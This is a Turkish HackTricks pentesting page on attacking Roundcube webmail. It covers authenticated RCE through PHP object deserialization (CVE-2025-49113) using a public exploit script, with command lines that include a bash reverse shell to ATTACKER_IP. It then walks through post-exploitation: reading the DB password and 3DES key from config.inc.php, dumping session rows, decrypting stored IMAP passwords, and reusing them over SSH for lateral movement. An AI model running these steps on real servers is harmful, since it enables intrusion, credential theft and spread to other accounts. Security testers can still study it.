Roundcube

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Genel Bakış

Roundcube, genellikle HTTP(S) vhost’larda (ör. mail.example.tld) açığa çıkan bir PHP webmail istemcisidir. Kullanışlı parmak izleri:

  • HTML kaynağı sıklıkla rcversion leaks (örn., window.rcmail && rcmail.env.rcversion)
  • Varsayılan app yolu containers/VMs: /var/www/html/roundcube
  • Ana config: config/config.inc.php

Kimlik doğrulamalı RCE aracılığıyla PHP object deserialization (CVE-2025-49113)

Etkilenen sürümler (vendor/NVD’ye göre):

  • 1.6.x before 1.6.11
  • 1.5.x before 1.5.10

Zafiyet özeti

  • program/actions/settings/upload.php içindeki _from parametresi doğrulanmıyor; bu, attacker‑controlled verinin enjekte edilmesine izin veriyor. Roundcube bu veriyi daha sonra unserializes ediyor; bu da gadget chain execution ve web bağlamında remote code execution’a yol açıyor (post‑auth).

Hızlı sömürü

  • Gereksinimler: geçerli Roundcube credentials ve erişilebilir bir UI URL’si (örn., http://mail.target.tld)
  • Public PoC, session handling, gadget crafting ve upload flow’u otomatikleştirir
git clone https://github.com/hakaioffsec/CVE-2025-49113-exploit.git
php CVE-2025-49113.php http://mail.target.tld USER PASS CMD

# examples
php CVE-2025-49113.php http://mail.target.tld user 'pass' "id"
# blind timing proof
time php CVE-2025-49113.php http://mail.target.tld user 'pass' "sleep 5"

# reverse shell
nc -nvlp 443
php CVE-2025-49113.php http://mail.target.tld user 'pass' \
"bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'"

Notlar

  • Çıktı çoğunlukla kördür; RCE’yi doğrulamak için sleep N kullanın
  • Oluşan shell genellikle www-data olarak çalışır; konteynerleştirilmiş dağıtımlarda /.dockerenv ve 172.17.0.0/16 ağ yapılandırmasını bekleyin

Post‑exploitation: Roundcube oturumlarından IMAP parolalarını kurtarma

Roundcube, mevcut kullanıcının IMAP parolasını oturumda (veritabanında) config.inc.php içinde yapılandırılmış sunucu tarafı 3DES anahtarı ile şifrelenmiş olarak saklar. Roundcube sunucusunda dosya sistemi veya DB erişimi ile düz metin parolalarını geri çıkarabilir ve diğer posta kutularına/hizmetlere pivot yapabilirsiniz (SSH reuse yaygındır).

  1. DB DSN ve 3DES anahtarını config’ten okuyun

config/config.inc.php tipik olarak şunları içerir:

$config['db_dsnw'] = 'mysql://roundcube:DB_PASS@localhost/roundcube';
$config['des_key'] = 'rcmail-!24ByteDESkey*Str'; // 24‑byte key (3DES)
  1. DB’ye bağlan ve dump sessions
mysql -u roundcube -p roundcube
# or: mysql -u roundcube -pDB_PASS roundcube

mysql> SELECT id, created, changed, vars FROM session\G

session.vars alanı, Roundcube’un encrypt() tarafından üretilen bir Base64 blob’udur: Base64( IV || 3DES-CBC(plaintext) ). Base64‑decoding sonrası ilk 8 byte IV’dir.

  1. Şifre alanını bulma

Çözülmüş yapının içindeki credential’ı hızlıca tespit etmenin yolu, önce vars field’i Base64‑decode etmek ve serialized entries’i gözle kontrol etmektir:

echo 'BASE64_FROM_VARS' | base64 -d | tr ';' '\n' | grep -i password
  1. Roundcube’un helper’ını kullanarak decrypt et

Roundcube, aynı rcmail->decrypt() mantığını ve yapılandırılmış des_key’i kullanan bir CLI sağlar:

cd /var/www/html/roundcube
./bin/decrypt.sh CIPHERTEXT_BASE64
# -> prints plaintext
  1. Manuel 3DES-CBC deşifreleme (isteğe bağlı)
  • Şifre metni formatı: Base64( IV(8B) || CT )
  • Alg: 3DES-CBC, anahtar uzunluğu 24B, PKCS#7 padding
from base64 import b64decode
iv_ct = b64decode('hcVCSNXOYgUXvhArn1a1OHJtDck+CFME')
iv, ct = iv_ct[:8], iv_ct[8:]
print(iv.hex(), ct.hex())
# decrypt(ct) with key = $config['des_key'], IV = iv

Yaygın konumlar

  • DB table: session (users table maps login names to IDs)
  • Config path: /var/www/html/roundcube/config/config.inc.php

Operasyonel kullanım

  • Eski session satırları genellikle önceki kullanıcıların IMAP parolalarını içerir; birden fazla girdiyi decrypt ederek diğer posta kutularına laterally move edin
  • Kurtarılan credentials’i, credential reuse şüphesi varsa SSH veya diğer servislerde deneyin

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin